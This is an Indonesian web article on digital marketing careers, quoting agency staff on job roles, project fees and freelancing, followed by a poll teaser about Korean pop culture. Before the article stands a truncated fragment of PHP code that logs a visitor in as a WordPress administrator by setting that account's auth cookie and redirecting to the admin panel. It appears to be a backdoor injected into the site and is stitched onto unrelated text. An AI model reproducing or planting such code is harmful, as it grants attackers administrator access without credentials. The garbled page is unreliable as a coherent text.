user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
Karier Menjanjikan

4 Feb 2014


Kreativitas, menurut Stefanie, bukanlah hal yang mudah. Mewujudkan ide kreatif sesuai kesepakatan digital marketer dan klien, harus melalui berbagai proses yang terbilang kompleks. Tak mengherankan, pekerjaan di dunia digital marketing dianggap ‘mahal’. “Untuk  tiap proyek, seorang digital marketer mampu menghasilkan Rp1,5 juta hingga Rp30 juta,” jelas Stefanie.

Bila dikaitkan ke ranah agensi digital, pekerjaan ini bisa dibagi dalam beberapa jenis, misalnya digital strategist, social media marketer, hingga influence manager. Masing-masing bagian memiliki tugas berbeda.

Digital strategist bertugas memikirkan konsep ide kampanye marketing. Social media marketer berperan menentukan engagement dalam media sosial. Sedangkan influence manager bertugas melakukan brief dan memastikan proses kampanye berjalan sesuai kesepakatan. Pembagian jenis digital marketing itu diterapkan pula di Think.We. Dengan pengelompokkan tersebut menurut Anantya, Job desc digital marketing bisa lebih fokus.
Sampai saat ini, kami telah menangani brand-brand besar semacam Acer, Panasonic, Caring Colors, Walls Buavita, hingga Magnum. Semuanya memiliki penanganan yang berbeda, tergantung ide sesuai kesepakatan,” cetus Anantya.

Stefanie menuturkan tidak ada pembagian ‘jabatan’ secara khusus. Semua berperan sama sebagai Digital Marketer, hanya saja, memiliki tugas berbeda-beda sesuai dengan service yang ditawarkan.

Misalnya, Online PR di level junior memiliki tanggung jawab mengenai pengembangan dan eksekusi kontan ide. Online PR senior, bertugas menangani konsep dan dan pengambangan ide aktivasi, termasuk analitik dan reporting. Dan, manajer PR bertugas mengepalai beberapa tim senior dan junior di bawahnya.

“Setiap jabatan tersebut disesuaikan dengan service yang DIXGITAL tangani, meliputi Website Development, Social Strategy and Management, Mobile Application, Online CRM, Online Advertising, Search Engine Optimization (SEO),E-Commerce, dan Online Measurement,” jelas Stefanie.
Advertisement

Mengingat semakin tingginya permintaan pasar digital saat ini, profesi Digital Marketing pun kian diminati. Hingga bukan tak mungkin jika profesi ini bisa dijadikan lahan bisnis atau pekerjaan freelance. “Implementasi pekerjaan yang tak harus selalu di kantor, memungkinkan Anda bisa menjalaninya secara freelance. Dan, bila pengalaman di dunia Digital Marketing sudah cukup, Anda bisa pula menjadi konsultan dengan mendirikan perusahaan Digital Marketing sendiri,” papar Stefanie.

Tinggi demand juga membuat lahirnya banyak agensi yang mewarkan jasa digital marketing. Anatya tak menapik jika lahan pekerjaan ini sarat kompetisi. namun dengan strategi tersendiri, anantya yakin bawa Think.Web bisa bertahan.

Apa yang ia lkukan? " Karena kami menjual jasa makan kami menguatkan diri ke bagian human resources untuk meningkatkan kualitas SDM. Caranya, dengan menggelar training, sharing, dan creativity building," Papar Anantya.

Yang juga tak kalah penting, menurut Anantya, pekerjaan ini membutuhkan kemauan untuk belajar hal-hal baru, terutama selalu catch up dan update dunia teknologi terkini.
"Seorang digital marketer harus sering turun ke lapangan untuk mempelajari tren konsumen dan peluang inovasi," cetus Stefanie.

Aktivitas turun lapangan itu menurut Stefanie berkaitan dengan pengamatan habit target market brand maupun produk yang dikelola. "Akan lebih baik jika pengamatan juga melibatkan wawancara langsung dengan beberapa pihak yang bersangkutan untuk mendapatkan berbagai insight. Ini penting untuk membaca tren pasar," papar Stefanie.

Hingga saat ini, DIXGITAL menangani berbagai klien baik di dalam maupun luar negeri. Hal ini membuat Stefanie berupaya selalu melek perkembangan teknologi agar bisa menciptakan strategi yang cocok dan efektif untuk pasar Indonesia." Indonesia belum termasuk negara dengan penetrasi internet tinggi. Ada beberapa strategi yang dibawa brand multinasional ke Indonesia belum tentu bisa diterapkan langsung. (RIZKA AZIZAH)



 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?